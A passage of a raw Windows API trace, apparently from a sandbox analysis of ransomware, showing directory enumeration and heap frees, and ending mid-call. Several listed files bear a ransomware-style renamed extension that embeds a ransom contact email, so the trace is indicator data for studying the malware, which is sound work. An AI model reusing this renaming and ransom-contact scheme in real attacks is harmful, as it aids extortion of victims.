FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3bad51b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bad51b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3fb35d2, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SPLASH~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4beb692, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4beb692, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4beb692, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SQMAPI~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3bad51b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bad51b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3bad51b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="STRING~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3bad51b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bad51b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3bd378b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3bd378b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bd378b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3bd378b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WATERM~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0xa5f81900, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0xa556b487, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~2.HCK")) returned 1 [0224.474] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xa63d3d3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~3.HCK")) returned 1 [0224.474] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa60fefb8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~4.HCK")) returned 1 [0224.474] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xa60fefb8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WINDOW~4.HCK")) returned 0 [0224.474] FindClose (in: hFindFile=0x5737a8 | out: hFindFile=0x5737a8) returned 1 [0224.474] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.474] FindNextFileW (in: hFindFile=0x5737e8, lpFindFileData=0x30dfcf8 | out: lpFindFileData=0x30dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0224.474] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3921b18 [0224.474] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x573468 [0224.475] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.658] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0224.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.658] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0224.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.658] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0224.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.658] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0224.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.659] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0224.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.659] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0224.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.659] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0224.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.659] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0224.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.660] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0224.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.660] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0224.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.660] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0224.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.660] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0224.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.662] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0224.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.662] FindNextFileW (in: hFindFile=0x573468, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0224.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.664] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0224.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3921b18 | out: hHeap=0x4f0000) returned 1 [0224.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0224.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0224.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.782] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x556550, Size=0x4000) returned 0x40d7c88 [0224.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.784] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.786] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40dbc90 | out: hHeap=0x4f0000) returned 1 [0224.871] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.874] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.875] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40c7c80 | out: hHeap=0x4f0000) returned 1 [0224.876] HeapFree (in: 